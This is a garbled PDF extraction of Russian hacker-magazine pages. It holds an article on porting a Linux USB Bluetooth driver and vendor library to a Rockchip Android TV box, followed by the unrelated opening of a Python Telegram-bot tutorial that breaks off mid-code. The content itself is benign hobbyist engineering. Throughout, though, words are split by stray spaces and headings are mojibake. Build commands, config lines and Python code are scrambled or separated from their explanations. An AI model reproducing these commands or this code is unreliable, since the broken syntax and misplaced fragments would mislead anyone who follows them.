В какой-то момент я подумал, не исполь зовать ли мне эту прис тавку еще и
для игр. Бес про вод ной кон трол лер подошел бы для это го как нель зя луч ше.

В целом кон трол леры мож но раз делить на две катего рии: RF (Radio
Frequency, ради очас тотные) и BT (Bluetooth), оба в ито ге работа ют по ради- 
ока налу. Вари ант с RF тре бует исполь зовать проп риетар ный донгл (и
занимать им порт USB), а Bluetooth дол жен под держи вать ся на сто роне прис- 
тавки.

За то Bluetooth уни вер сален и, помимо под клю чения устрой ств вво да,
может быть исполь зован для вывода зву ка на бес про вод ные колон ки, фай- 
лового обме на со смар тфо ном и так далее. Мой выбор был пре доп ределен
тем, что в бли жай шем магази не нашел ся лишь BT-кон трол лер VR-PARK.
Не обра зец изящ ного дизай на, но не любовать ся же на него!

К сожале нию, на пла те ТВ-прис тавки отсутс тву ет аппа рат ный BT-модуль,
одна ко в нас трой ках ее опе раци онной сис темы Android 7.1.2 я видел пункт
вклю чения Bluetooth, что вро де бы поз воляло наде ять ся на под дер жку сте ка
про токо лов. Воз можно, пос ле под клю чения модуля Bluetooth в USB сра бота- 
ет магия и сра зу пред ста вит ся воз можность нас ладить ся игрой?

С эти ми мыс лями я при купил USB-адап тер Bluetooth с лаконич ной над- 
писью «CSR 4.0» на кор пусе. Вер нувшись домой, я вста вил его в порт прис- 
тавки, и тот весело замигал све тоди одом. А пос ле вклю чения Bluetooth в нас- 
трой ках... ничего не про изош ло. То есть поч ти ничего, если не счи тать воз- 
никно вения задачи, решению которой пос вящена эта статья: нас тро ить
ТВ-прис тавку на исполь зование адап тера USB Bluetooth.

Ког да воз ника ет проб лема, иссле дова тель пер вым делом идет в интернет,
что бы соб рать све дения о ней. На удив ление, матери алов ока залось нем- 
ного. То ли ник то не под клю чал USB-адап тер к прис тавке, то ли у всех он
работал из короб ки, но пос ледние содер жатель ные обсужде ния датиро- 
вались 2013 годом и отно сились к авто мобиль ной сис теме муль тимедиа.

Ре зуль тат бес систем ных попыток отыс кать работа ющие нас трой ки
не порадо вал: я толь ко потерял нес коль ко часов и осоз нал, что при дет ся
искать собс твен ный путь. А для это го необ ходимо понимать, как под систе ма
Bluetooth встро ена в Android.

ÀÐÕÈÒÅÊÒÓÐÀ ÏÎÄÑÈÑÒÅÌÛ BLUETOOTH Â ANDROID

С , цен траль ный ком понент под систе мы Bluetooth
в Android — сис темная служ ба Bluetooth (пред став ляющая собой при ложе ние
для Android), которая через Binder IPC дает при ложе ниям дос туп к услу гам
Bluetooth-про филей, а сама исполь зует при этом JNI-интерфей сы, реали- 
зован ные на уров не HAL и ведущие к ком понен там сте ка Bluetooth и рас- 
ширени ям пос тавщи ка (в дво ичных биб лиоте ках).

точ ки зре ния прог раммис та

Ар хитек тура под систе мы Bluetooth в Android 7

Эту схе му мож но про дол жить , и тог да ста нет
вид но, что биб лиоте ки HAL исполь зуют интерфейс  для дос тупа к HCI-

сокетам ядра опе раци онной сис темы, которые через драй вер поз воля ют вза- 
имо дей ство вать с аппа рат ным Bluetooth-модулем, под клю чен ным к сис- 
темной пла те шиной SDIO, UART или USB.

вниз по сис темной иерар хии
hci0

Ниж ний уро вень под систе мы Bluetooth в Android

Ос талось выяс нить, на каком имен но уров не у нас проб лема, которая меша ет
адап теру взять и зарабо тать.

Опе раци онная сис тема Android — это ядро Linux, поверх которо го работа- 
ет гипер визор вир туаль ных машин Dalvik. Начинать ана лиз разум но с ниж него
уров ня, пос ледова тель но убеж даясь в том, что есть физичес кое под клю- 
чение, опе раци онная сис тема и драй вер видят адап тер, он дос тупен на уров- 
не HAL и так далее — до момен та, ког да он дол жен работать.

Что бы иссле довать ОС и вно сить в нее изме нения, нужен дос туп к коман- 
дной обо лоч ке с пра вами супер поль зовате ля. Об осно вах исполь зования
кон соли Android мож но про читать в статье « ».Кон соль ный Android

WARNING

Вме шатель ство в опе раци онную сис тему с пра- 
вами супер поль зовате ля может нарушить
работос пособ ность устрой ства и вывес ти его
из строя. При нимая решение выпол нить опи сан- 
ные в статье рекомен дации, иссле дова тель берет
на себя пол ную ответс твен ность за воз можные
негатив ные пос ледс твия сво их дей ствий.

ÐÅÊÎÃÍÎÑÖÈÐÎÂÊÀ

В сис темных сооб щени ях  упо мина ния о Bluetooth встре чают ся в сле- 
дующих кон тек стах:

dmesg
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[1] Bluetooth: Core ver 2.16
[2] NET: Registered protocol family 31
[3] Bluetooth: HCI device and connection manager initialized
[4] Bluetooth: HCI socket layer initialized
[5] Bluetooth: L2CAP socket layer initialized
[6] Bluetooth: SCO socket layer initialized

[7] Bluetooth: HCI UART driver ver 2.2
[8] Bluetooth: HCI H4 protocol initialized
[9] Bluetooth: HCILL protocol initialized
[10] rtk_btusb: RTKBT_RELEASE_NAME: 20170109_TV_ANDROID_6.x
[11] rtk_btusb: Realtek Bluetooth USB driver module init, version 4.1.2
[12] rtk_btusb: Register usb char device interface for BT driver
[13] usbcore: registered new interface driver rtk_btusb

[14] Bluetooth: RFCOMM TTY layer initialized
[15] Bluetooth: RFCOMM socket layer initialized
[16] Bluetooth: RFCOMM ver 1.11
[17] Bluetooth: BNEP (Ethernet Emulation) ver 1.3
[18] Bluetooth: BNEP filters: protocol multicast
[19] Bluetooth: BNEP socket layer initialized
[20] Bluetooth: HIDP (Human Interface Emulation) ver 1.2
[21] Bluetooth: HIDP socket layer initialized

[23] usb 5-1: New USB device found, idVendor=0a12, idProduct=0001
[24] usb 5-1: New USB device strings: Mfr=0, Product=2, SerialNumber=0
[25] usb 5-1: Product: CSR8510 A10

Стро ка 1 говорит о том, что ядро Linux соб рано с под дер жкой сте ка Bluetooth,
стро ка 2 сооб щает о регис тра ции в ядре семей ства про токо лов Bluetooth.
Сра зу пос ле это го ини циали зиру ются слои сокетов HCI, L2CAP и SCO (3–6).

За тем акти виру ются драй веры, пред назна чен ные для вза имо дей ствия
с адап терами Bluetooth, под клю чаемы ми по шинам UART и USB (7–13).
К сожале нию, пос ледний «понима ет» толь ко кон трол леры Realtek, а наш
адап тер CSR этим драй вером не под держи вает ся.

Пос ледний блок сооб щений (14–21) информи рует об ини циали зации
высоко уров невых про токо лов RFCOMM, BNEP и HIDP . Стро- 
ки 23–25 соот ветс тву ют реак ции опе раци онной сис темы на под клю чение
USB-адап тера и говорят о том, что на физичес ком уров не он опоз нает ся
шиной USB.

сте ка Bluetooth

Ин терес но, где же находит ся драй вер адап тера? Коман да  выдала

спи сок из двух модулей, сре ди которых  не ока залось. Зна чит, он
интегри рован в ядро Linux. Но спи сок непус той, а зна чит, ядро соб рано с под- 
дер жкой модулей. Запом ним это на будущее.

lsmod
rtk_btusb

Я изу чил фай ловую сис тему ТВ-прис тавки и нашел сле дующие ком понен- 
ты, име ющие отно шение к под систе ме Bluetooth:

/app/Bluetooth/Bluetooth.apk 
/system/lib/libbluetooth_jni.so 
/system/lib/hw/audio.a2dp.default.so 
/system/lib/hw/bluetooth.default.so 
/system/lib/hw/bluetooth_rtk.default.so 
/system/lib/libbt-vendor_uart.so 
/system/lib/libbt-vendor_usb.so 
/system/lib/rtkbt/... 
/system/vendor/libbt-vendor.so 
/system/etc/bluetooth/bt_did.conf 
/system/etc/bluetooth/bt_stack.conf 
/system/etc/bluetooth/bt_vendor.conf 
/system/etc/bluetooth/rtkbt.conf 
/system/etc/bluetooth/rtkbt_plugins.conf 

Сле дующие коман ды, пос ледова тель но при менен ные к фай лам биб лиотек,
помогут нам понять их зависи мость друг от дру га:

 $ strings /system/lib/hw/название-библиотеки.so | grep '.so'
 $ strings /system/lib/hw/название-библиотеки.so | grep '.conf'

До бавив эти ком понен ты на схе му, я получил сле дующую кар тину.

Вза имос вязь ком понен тов под систе мы Bluetooth в опе раци онной сис -
теме иссле дуемой ТВ-прис тавки

Соб ранной информа ции дос таточ но, что бы пред положить, что драй веры
на ТВ-прис тавке не под держи вают Bluetooth-адап теры на кон трол лерах CSR.
Пос коль ку ядро име ет под дер жку модулей, мож но попытать ся испра вить
дело, соб рав соот ветс тву ющий модуль с необ ходимым драй вером.

Продолжение статьи →

mailto:r0bur@tut.by
https://source.android.com/devices/bluetooth
https://wiki.st.com/stm32mpu/wiki/How_to_change_Bluetooth_device_for_Android
https://xakep.ru/2016/05/12/android-adb/
https://www.researchgate.net/publication/345032366_Bluetooth_Stack_and_how_Linux_OS_handles_it


BLUETOOTH

ДЛЯ АНДРОИДА
ПОРТИРУЕМ С LINUX НА ANDROID ДРАЙВЕР

USB-АДАПТЕРА

ТРЮКИ  НАЧАЛО СТАТЬИ←

ÌÎÄÓËÜ ßÄÐÀ Ñ ÄÐÀÉÂÅÐÎÌ USB-ÀÄÀÏÒÅÐÀ

В качес тве плат формы для сбор ки я исполь зовал 64-бит ную ОС 
 (осно ван ную на Ubuntu 20.04 LTS). У нее есть минима лис тичный уста- 

новоч ный образ, в который вхо дят инс тру мен ты метапа кета build essential.
Для наших работ дос таточ но вир туаль ной машины с опе ратив ной
памятью 1 Гбайт и накопи телем 20 Гбайт. Пос ле уста нов ки сис темы и син хро- 
низа ции с репози тори ем надо уста новить допол нитель ные пакеты ,

 и  и соз дать сим воличес кую ссыл ку на интер пре татор:

Bodhi Linux
6.0.0

unzip
python2 libncurses5

 $ sudo ln -s /usr/bin/python2.7 /usr/bin/python 

Соз дадим каталог для работы:

   $ mkdir $HOME/tvbox && cd $HOME/tvbox 

Что бы соб рать модуль драй вера, нуж ны исходни ки ядра Linux той вер сии,
которая исполь зует ся в опе раци онной сис теме ТВ-прис тавки, в дан ном слу- 
чае 3.10.104. К счастью, на GitHub быс тро нашел ся репози торий с ядра ми
Linux, адап тирован ными для устрой ств на плат форме Rockchip. Забира ем
исходни ки из него:

wget $ -C kernel-release-3.10.zip https://github.com/rockchip-linux/
kernel/archive/refs/heads/release-3.10.zip 

Те перь надо рас паковать получен ный архив в рабочий каталог и про верить,
соот ветс тву ет ли вер сия ядра ожи дани ям:

 

 

 
 

VERSION = 3 
PATCHLEVEL = 10 
SUBLEVEL = 104

$ cd kernel-release-3.10
$ head Makefile

Что бы пос мотреть, какие кон фигура ции дос тупны для плат формы Rockchip,
выпол ним коман ду

 

 

 
  rockchip_chromium_defconfig - Build for rockchip_chromium 
  rockchip_defconfig       - Build for rockchip

$ make help | grep rockchip

Ва риант для опе раци онной сис темы Chromium OS отбра сыва ем, оста ется
. Ищем нуж ный кон фиг:rockchip_defconfig

 

 

 
./arch/arm64/configs/rockchip_defconfig 
./arch/arm/configs/rockchip_defconfig

$ find ./arch -name 'rockchip_defconfig'

В нашей прис тавке сто ит чип RK3229. Он 32-раз рядный, поэто му нам акту- 
ален вто рой вари ант. Для кон фигури рова ния ядра, как написа но в 

 и ,

надо выпол нить коман ды

kernel-
release-3.10/README kernel-release-3.10/android/configs/README

$ ARCH=arm scripts/kconfig/merge_config.sh \
   arch/arm/configs/rockchip_defconfig \
   android/configs/android-base.cfg \
   android/configs/android-recommended.cfg 

Да лее в толь ко что соз данный файл .cong надо добавить стро ку
 (пос ле стро ки ), что бы вклю- 

чить под дер жку модулей ядром, а так же стро ку  (пос- 
ле стро ки ) — для сбор ки драй вера USB-

адап теров Bluetooth как модуля ядра. Пос ле это го выпол ним коман ду

CONFIG_MODULES=y CONFIG_MODULES is not set
CONFIG_BT_HCIBTUSB=m

CONFIG_BT_HCIBTUSB is not set

$ ARCH=arm make olddefconfig 

Ис ходные тек сты ядра скон фигури рова ны и готовы к сбор ке модуля.
Собирать будем с помощью инс тру мен тов Linaro. Их нуж но извлечь из архи ва

 в каталог , пос ле чего

из под катало га  выпол няем коман ду

gcc-linaro-4.9.4-2017.01-x86_64_arm-eabi.tar.xz tvbox
kernel-release-3.10

 $ PATH=$HOME/tvbox/gcc-linaro-4.9.4-2017.01-x86_64_arm-eabi/bin:$PATH
\

arm ARCH= CROSS_COMPILE=arm-eabi- make modules 

Че рез неп родол житель ное вре мя модуль ядра будет сфор мирован в фай ле
. Этот файл надо

записать на ТВ-прис тавку в каталог  и поп робовать

запус тить:

kernel-release-3.10/drivers/bluetooth/btusb.ko
/system/lib/modules

 

 

 
insmod: failed to load btusb.ko: Exec format error
# insmod /system/lib/modules/btusb.ko

Не уда ча: нам сооб щили, что файл име ет неп равиль ный фор мат. Деталь ное
опи сание проб лемы мож но най ти в сооб щени ях ядра:

 

 

 
btusb: version magic '3.10.104 SMP preempt ARMv7 p2v8 ' should 
be '3.10.104 SMP preempt mod_unload ARMv7 p2v8 '

# dmesg | tail

Ока зыва ется, соб ранная вер сия не име ет атри бута . При дет ся
вер нуть ся к исходным тек стам и в файл .cong пос ле стро ки 

 добавить параметр

, а затем пов торить сбор ку:

mod_unload
# 

CONFIG_MODULE_UNLOAD is not set
CONFIG_MODULE_UNLOAD=y

$ make clean 
$ make olddefconfig 
$ make modules 

За писы ваем новый модуль на ТВ-прис тавку и запус каем:

# insmod /system/lib/modules/btusb.ko

Про веря ем резуль тат:

 

 

 

 
usbcore: registered new interface driver btusb
# dmesg | tail

 
Module Size Used by 
btusb 14685 0 [permanent]

# lsmod

Не уже ли получи лось? Пока что все говорит о том, что модуль зарабо тал.
Для про вер ки вос поль зуем ся коман дой  (она ста новит ся дос тупной

пос ле уста нов ки ). Сна чала надо выпол нить коман ду 
без под клю чен ного модуля и запом нить ее вывод (если он не пус той). Затем
под клю чить модуль и пов торить выпол нение коман ды:

rfkill
BusyBox rfkill list

 

 

 
0: hci0: bluetooth 
Soft blocked: no 
Hard blocked: no

# rfkill list

В выводе дол жны появить ся стро ки, соот ветс тву ющие под клю чен ному адап- 
теру. Потом адап тер надо отклю чить и сно ва выпол нить . Теперь

стро ки, соот ветс тву ющие адап теру, дол жны исчезнуть из вывода. Толь ко
такое динамич ное поведе ние говорит о работос пособ ности драй вера.

rfkill list

Аль тер натив ный спо соб про вер ки — наб людение за содер жимым катало- 
га . При под клю чении адап тера Bluetooth в нем дол жен
соз давать ся под каталог  (где  — номер устрой ства), а при отклю- 

чении — исче зать.

/sys/class/rfkill
rfkillN N

Из фай ла , который содер жит коман ды, выпол- 
няемые при заг рузке сис темы для ини циали зации ком муника цион ных устрой- 
ств, мож но узнать, что фай лам 

надо наз начить вла дель ца , а фай лу  — еще и

пра ва дос тупа . Сде лаем это и попыта емся акти виро вать Bluetooth в нас- 
трой ках Android. Увы, но бегунок эле мен та управле ния сно ва воз вра щает ся
в положе ние «Выкл.».

/init.connectivity.rc

/sys/class/rfkill/rfkillN/{type,state}
bluetooth:net_bt_stack state

0664

На этом эта пе воз ника ет соб лазн раз добыть ути литы hcicong и hcitool,
что бы про дол жить нас тра ивать под систе му Bluetooth над ядром Linux, но это
тупико вый путь. Наша задача — зас тавить работать Bluetooth в Android. А для
это го надо при нять, что задача обес печить работу драй вера на уров не ядра
выпол нена, и обра тить ся к нашей схе ме за сле дующей целью. Ей ока залась
«биб лиоте ка про изво дите ля»  — имен но она дол жна обес- 

печить интерфейс меж ду драй вером ядра и под систе мой Bluetooth в Android.

libbt-vendor.so

WWW

Для авто мати зации опи сан ной выше работы —
получе ния исходных тек стов ядра, его нас трой ки
и сбор ки модуля — можешь вос поль зовать ся
моими .сце нари ями на bash

ÁÈÁËÈÎÒÅÊÀ ÂÇÀÈÌÎÄÅÉÑÒÂÈß Ñ ÄÐÀÉÂÅÐÎÌ

С биб лиоте кой  дело ока залось нес коль ко слож нее, чем

с драй вером. На сай те с исходни ками Android обна ружи лись толь ко матери- 
алы по биб лиоте кам для адап теров на чипах Realtek и Broadcom. Единс твен- 
ный все ляющий надеж ду репози торий на GitHub с опи сани ем «A libbt-
vendor.so for usb bluetooth on Android» датиро ван сен тябрем 2014 года
и содер жит единс твен ный ком мит — форк какого-то дав но исчезнув шего
источни ка.

libbt-vendor.so

Вы ходит, задача не име ет решения? Или все-таки поп робовать? Эрнест
Хемин гуэй в романе «По ком зво нит колокол» писал: есть толь ко один спо соб
убе дить ся в том, что при каз невыпол ним, — попытать ся его выпол нить. Такой
под ход не всег да раци она лен с праг матичес кой точ ки зре ния, но по край ней
мере даже в слу чае неуда чи поз волит заявить: «Я сде лал все, что мог. Кто
может — пусть сде лает луч ше!» Поэто му про дол жаем. В кон це кон цов, цена
нашей неуда чи нич тожна в срав нении с ситу ациями, в которых ока зыва лись
герои Хемин гуэя.

В качес тве сбо роч ной плат формы будем исполь зовать ту же вир туаль ную
машину, что и для сбор ки модуля ядра, — ее ресур сов более чем дос таточ но.
Что бы получить динами чес кую биб лиоте ку для Android, пот ребу ется набор
инс тру мен тов Android NDK, вклю чающий кросс-ком пилятор и заголо воч ные
фай лы. Пос коль ку целевая сис тема — Android 7.1.2 Nougat, я выб рал инс тру- 
мен тарий вер сии , соот ветс тву ющий пери оду рас цве та этой сис темы.
С таким же успе хом мож но взять r14b или r15c, но дру гие вер сии пот ребу ют
серь езной адап тации исходни ков.

r16b

Что бы соб рать биб лиоте ку , под держи вающую USB-

адап теры Bluetooth, пот ребу ются:

libbt-vendor.so

ис ходные коды этой биб лиоте ки , получен ные
из репози тория / ;

• libbt-usb-master.zip
liangxiaoju libbt-usb

ис ходные коды час тей сис темы Android , 
и  из вет ви  (которая соот ветс тву ет седь- 
мой вер сии) с android.googlesource.com;

• utils.tar.gz cutils.tar.gz
log.tar.gz nougat-release

ис ходные тек сты под систе мы Bluedroid  самой пос- 
ледней вер сии из того же репози тория;

• bluedroid.tar.gz

файл биб лиоте ки  из катало га  фай ловой
сис темы телеп ристав ки.

• libcutils.so /system/lib

Эти ингре диен ты надо  в иерар хичес кую фай ловую струк туру
про екта NDK. В даль нейшем пред полага ется, что дис три бутив NDK рас- 
пакован в каталог , а для про екта соз дан под каталог 

, внут ри которо го:

ском поновать

$HOME/tvbox $HOME/
tvbox/libbt-usb-master

 — содер жимое катало га , находя щего ся в архи ве
;

• jni libbt-usb-master
libbt-usb-master.zip

 — содер жимое архи ва ;• jni/include/utils utils.tar.gz
 — содер жимое архи ва ;• jni/include/cutils cutils.tar.gz

 — содер жимое архи ва ;• jni/include/log log.tar.gz
 — дво ичный файл, получен ный с телеп ристав ки;• jni/lib/libcutils.so

 — содер жимое архи ва 
.

• external/bluetooth/bluedroid bluedroid.
tar.gz

По мимо это го, надо соз дать файл 

, в котором будет задана минималь ная вер сия Android API

и архи тек тура целевой сис темы:

tvbox/libbt-usb-master/jni/
Application.mk

 := -PP_PLATFORM android 21
 := -PP_ABI armeabi v7a

WWW

Ты можешь исполь зовать мои скрип ты
для получе ния исходни ков и фор мирова ния фай- 
лового дерева про екта NDK. Скрипт 

 допол нитель но модифи циру ет
исходни ки, без чего сбор ка про екта не будет
успешной.

vendor-
prepare.sh

Те перь про цесс сбор ки мож но запус кать из катало га 

:

tvbox/libbt-usb-
master

$ ../android-ndk-r16b/ndk-build 

Во вре мя сбор ки будут выданы пре дуп режде ния:
об отсутс твии обра бот чиков для опе раций

 и  в селек торе switch
(opcode) фай ла ;

•
BT_VND_OP_SET_AUDIO_STATE BT_VND_OP_EPILOG

jni/src/bt_vendor_hci.c
о пов торном опре деле нии кон стан ты  в фай ле

.
• HCI_MAX_FRAME_SIZE
jni/src/hci.h

Вто рое пре дуп режде ние мож но сме ло игно риро вать, а что до пер вого, то
пока оста ется наде ять ся, что оно каса ется ауди опро филей Bluetooth и не
отра зит ся на работе джой сти ка.

Соб ранная биб лиоте ка находит ся по пути 

. Ее надо записать в каталог 

 телеп ристав ки, пос ле чего мож но прис тупать к испы тани ям.

Перед этим, конеч но, не будет лиш ним про верить, что адап тер вклю чен
в USB, его драй вер заг ружен, а фай лам в под катало ге 

 даны необ ходимые раз решения, как это было опи сано выше.

tvbox/libbt-usb-master/
libs/armeabi-v7a/libbt-vendor.so /system/
vendor/lib

/sys/class/rfkill/
rfkillN/

От кры ваем нас трой ки Android, вклю чаем Bluetooth — и прис тавка сра зу
вык люча ется. Вклю чаем прис тавку и пов торя ем про цеду ру — резуль тат тот
же, отри цатель ный. Обид но, одна ко это сви детель ству ет, что мы чего-то дос- 
тигли и Android вза имо дей ству ет с драй вером для Linux. Пусть и в такой
неудач ной фор ме.

Взгля нем еще раз на схе му, что бы оце нить прой ден ный путь. Но что это?
Из схе мы вид но, что биб лиоте ка  исполь зует нас трой ки,
которые записа ны в фай ле , а на

текущий момент там ука зано, что адап тер Bluetooth будет под клю чать ся
к пос ледова тель ному пор ту. Мы под клю чаем его к шине USB, но какими тог да
дол жны быть парамет ры?

libbt-vendor.so
/system/etc/bluetooth/bt_vendor.conf

Заг лядыва ем в исходни ки  и в катало ге 

 находим эта лон ный . Берем его

и заменя ем толь ко два парамет ра:

libbt-vendor.so tvbox/libbt-
usb-master/jni/conf bt_vendor.conf

, где  — номер Bluetooth-адап тера, который ука зан
в пути ;

• HCIDevice = N N
/sys/class/rfkill/rfkillN/

, то есть Bluetooth-адап тер нап рямую пре дос тавля ет
интерфейс HCI.

• Type = hci

За пишем исправ ленный кон фигура цион ный файл на прис тавку вмес то
сущес тву юще го и пов торим испы тание. Пос ле попыт ки вклю чить Bluetooth
сис тема сооб щает, что ищет устрой ства. Все работа ет!

ÄÎÐÀÁÎÒÊÈ

Со вре менем я стол кнул ся с новой проб лемой: прис тавка иног да перес- 
тавала видеть кон трол лер, и для вос ста нов ления его работы нуж но было
перезаг ружать и его, и прис тавку. Это уби вало всю радость!

Вско ре выяс нилось, что ста биль ность работы этой связ ки силь но зависит
от рас сто яния меж ду прис тавкой и кон трол лером. По всей видимос ти, виной
тому — сла бая связь меж ду мини атюр ным адап тером и кон трол лером,
который может пол ностью пря тать ся в руках. Было эмпи ричес ки уста нов лено,
что ради ус нор маль ной работы — это 1,5–2 мет ра от прис тавки.

Спать спо кой но мешали и два пре дуп режде ния об ошиб ках, которые я
про игно риро вал при сбор ке интерфей сной биб лиоте ки. Давай поищем кон- 
стан ту по фай лам в катало ге :libbt-usb-master

   $ grep -R 'BT_VND_OP_EPILOG' *

Я нашел упо мина ние в заголо воч ном фай ле 
. Он наряду с переч нем иден- 

тифика торов сооб щений содер жит опи сание пра вил их обра бот ки. Отту да
мож но узнать, что сооб щение  отправ ляет ся,
что бы про информи ровать о сос тоянии зву ково го устрой ства, и в нашем слу- 
чае его дей стви тель но мож но игно риро вать. А вот сооб щение

 говорит о завер шении работы с устрой ством, и его нуж но
отправ лять сте ку Bluetooth, что бы сооб щить, что устрой ство мож но отклю чать
вызовом фун кции .

external/bluetooth/
bluedroid/hci/include/bt_vendor_lib.h

BT_VND_OP_SET_AUDIO_STATE

BT_VND_OP_EPILOG

epilog_cb
До пол ним конс трук цию мно жес твен ного выбора в фай ле 

 сле дующи ми стро ками по ана логии
с дру гими обра бот чиками:

libbt-usb-
master/jni/src/bt_vendor_hci.c

 case BT_VND_OP_SET_AUDIO_STATE:
   break;

 case BT_VND_OP_EPILOG:
     if (bt_vendor_cbacks) {

        ALOGE ("vendor lib op epilog done");
          bt_vendor_cbacks -> epilog_cb (BT_VND_OP_RESULT_SUCCESS);

   }
   break;

Пос ле это го ком пиляция биб лиоте ки не вызыва ет воп росов. Одна ко нель зя
исклю чать, что в каких-то слу чаях обра бот ка сооб щений тре бует более слож- 
ных дей ствий. Каких имен но? Что бы отве тить на этот воп рос, надо глуб же
пог рузить ся в прин ципы вза имо дей ствия под систе мы Bluetooth с USB-адап- 
тером. Воз можно, кто-нибудь из читате лей уви дит в этом свою задачу, решит
ее и рас ска жет об этом!

ÂÛÂÎÄÛ

Итак, задача пол ностью решена. Давай напос ледок вспом ним и сис темати- 
зиру ем про делан ные шаги, что бы в слу чае надоб ности пов торить их с дру гим
устрой ством. Мне пот ребова лось:

соб рать и уста новить драй вер USB-адап тера, пред став ляющий собой
модуль ядра ;

•
/system/lib/modules/btusb.ko

адап тировать исходни ки динами чес кой биб лиоте ки интерфей са меж ду
под систе мой Bluetooth и драй вером адап тера 
к заголо воч ным фай лам и инс тру мен там NDK;

•
libbt-vendor.so

под готовить про ект NDK, соб рать и уста новить файл биб лиоте ки •
;/system/vendor/lib/libbt-vendor.so

ак туали зиро вать кон фигура цион ный файл 
.

• /system/etc/bluetooth/
bt_vendor.conf

По мимо это го, для авто мати зации запус ка модуля ядра и уста нов ки раз- 
решений на вир туаль ные фай лы при заг рузке ОС я сде лал кон фигура цион ный
файл сис темы ини циали зации  со сле дующим
содер жимым:

/system/etc/init/btusb.rc

on boot 
   insmod /system/lib/modules/btusb.ko 
   chown bluetooth net_bt_stack /sys/class/rfkill/rfkill0/type 
   chown bluetooth net_bt_stack /sys/class/rfkill/rfkill0/state 
   chmod 0664 /sys/class/rfkill/rfkill0/state 

В име ни  циф ру 0 может пот ребовать ся заменить дру гим номером,

который прис ваивает ся USB-адап теру опе раци онной сис темой.

rfkill0

Вот и все. Это был не самый лег кий путь, зато мы узна ли мно го нового!
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КОДИНГ

В этой статье мы реали зуем прос той,
но край не полез ный про ект на Python —
бота для Telegram. Боты — это неболь шие
скрип ты, которые могут вза имо дей ство вать
с API, что бы получать сооб щения от поль- 
зовате ля и отправ лять информа цию в раз- 
ные чаты и каналы.

Python для новичков
Ес ли ты сов сем не ори енти руешь ся в Python, то отличным началом будет
проч тение трех ввод ных ста тей, которые я пуб ликовал в «Хакере» этим летом,
либо посеще ние кур са « », который я нач ну вес ти
для читате лей «Хакера» уже сов сем ско ро — 30 нояб ря.

Python для нович ков

• Python с абсо лют ного нуля. Учим ся кодить без скуч ных кни жек
• Python с абсо лют ного нуля. Учим ся работать со стро ками, фай лами

и интерне том
• Python с абсо лют ного нуля. Работа ем с ОС, изу чаем регуляр ные выраже- 

ния и фун кции

Что бы соз дать бота, нам нуж но дать ему наз вание, адрес и получить токен —
стро ку, которая будет однознач но иден тифици ровать нашего бота для сер- 
веров Telegram. Зай дем в Telegram под сво им акка унтом и откро ем «отца всех
ботов», .BotFather

Жмем кноп ку «Запус тить» (или отпра вим ), в ответ BotFather приш- 

лет нам спи сок дос тупных команд:

/start

 — соз дать нового бота;• /newbot
 — редак тировать ваших ботов;• /mybots

 — сме нить имя бота;• /setname
 — изме нить опи сание бота;• /setdescription

 — изме нить информа цию о боте;• /setabouttext
 — изме нить фото ава тар ки бота;• /setuserpic

 — изме нить спи сок команд бота;• /setcommands
 — уда лить бота.• /deletebot

От пра вим бате-боту коман ду , что бы соз дать нового бота. В ответ он
поп росит ввес ти имя будуще го бота, его мож но писать на рус ском. Пос ле
вво да име ни нуж но будет отпра вить адрес бота, при чем он дол жен закан- 
чивать ся на сло во bot. Нап ример,  или . Если адрес будет
уже кем-то занят, BotFather нач нет изви нять ся и про сить при думать
что-нибудь дру гое.

/newbot

xakepbot xakep_bot

Ког да мы наконец най дем сво бод ный и кра сивый адрес для нашего бота,
в ответ получим сооб щение, в котором пос ле фра зы Use this token to access
the HTTP API будет написа на стро ка из букв и цифр — это и есть необ ходимый
нам токен. Сох раним ее где-нибудь на сво ем компь юте ре, что бы потом
исполь зовать в скрип те бота.

Для вза имо дей ствия с Telegram API есть нес коль ко готовых модулей.
Самый прос той из них — . Что бы уста новить его, набериTelebot

  pip install pytelegrambotapi

В Linux, воз можно, понадо бит ся написать  вмес то , что бы ука зать, что
мы хотим работать с треть ей вер сией Python.

pip3 pip

ÝÕÎ-ÁÎÒ

Для начала реали зуем так называ емо го эхо-бота. Он будет получать от поль- 
зовате ля тек сто вое сооб щение и воз вра щать его.

 import telebot

# Создаем экземпляр бота
  bot = telebot.TeleBot('Здесь впиши токен, полученный от @botfather')

# Функция, обрабатывающая команду /start
@bot.message_handler(commands=["start"])

  def start(m, res=False):
    bot.send_message(m.chat.id, 'Я на связи. Напиши мне что-нибудь )'
)

# Получение сообщений от юзера
@bot.message_handler(content_types=["text"])

 def handle_text(message):
      bot.send_message(message.chat.id, 'Вы написали: ' + message.text)

# Запускаем бота
 bot.polling(none_stop=True, interval=0)

За пус кай скрипт и ищи в поис ке Telegram сво его бота по адре су, который ты
при думал ранее. Запус каем бота кноп кой «Запус тить» (Start) или коман дой 

 и можем убе дить ся в том, что он работа ет и воз вра щает сооб щения.

/
start

При мер работы эхо-бота

WIKIPEDIA-ÁÎÒ

Да вай научим нашего бота не прос то отсы лать сооб щения обратно,
а чему-нибудь поин терес нее. Нап ример, по вве ден ному сло ву давать статью
на Википе дии. Здесь нам поможет модуль :Wikipedia

  pip install wikipedia

Го товим код.

   import telebot, wikipedia, re

# Создаем экземпляр бота
  bot = telebot.TeleBot('Здесь впиши токен, полученный от @botfather')

# Устанавливаем русский язык в Wikipedia
wikipedia.set_lang("ru")

# Чистим текст статьи в Wikipedia и ограничиваем его тысячей символов
 def getwiki(s):

   try:
         ny = wikipedia.page(s)

       # Получаем первую тысячу символов
       wikitext=ny.content[:1000]
       # Разделяем по точкам
       wikimas=wikitext.split('.')
       # Отбрасываем всЕ после последней точки

         wikimas = wikimas[:-1]
       # Создаем пустую переменную для текста

         wikitext2 = ''
       # Проходимся по строкам, где нет знаков «равно» (то есть 
все, кроме заголовков)

          for x in wikimas:
              if not('==' in x):

                   # Если в строке осталось больше трех символов, 
добавляем ее к нашей переменной и возвращаем утерянные при 
разделении строк точки на место
               if(len((x.strip()))>3):
                  wikitext2=wikitext2+x+'.'
           else:
               break
       # Теперь при помощи регулярных выражений убираем разметку

         wikitext2=re.sub('\([^()]*\)', '', wikitext2)
         wikitext2=re.sub('\([^()]*\)', '', wikitext2)
         wikitext2=re.sub('\{[^\{\}]*\}', '', wikitext2)

       # Возвращаем текстовую строку
        return wikitext2

   # Обрабатываем исключение, которое мог вернуть модуль wikipedia 
при запросе
      except Exception as e:

        return 'В энциклопедии нет информации об этом'

# Функция, обрабатывающая команду /start
@bot.message_handler(commands=["start"])

  def start(m, res=False):
    bot.send_message(m.chat.id, 'Отправьте мне любое слово, и я 
найду его значение на Wikipedia')

# Получение сообщений от юзера
@bot.message_handler(content_types=["text"])

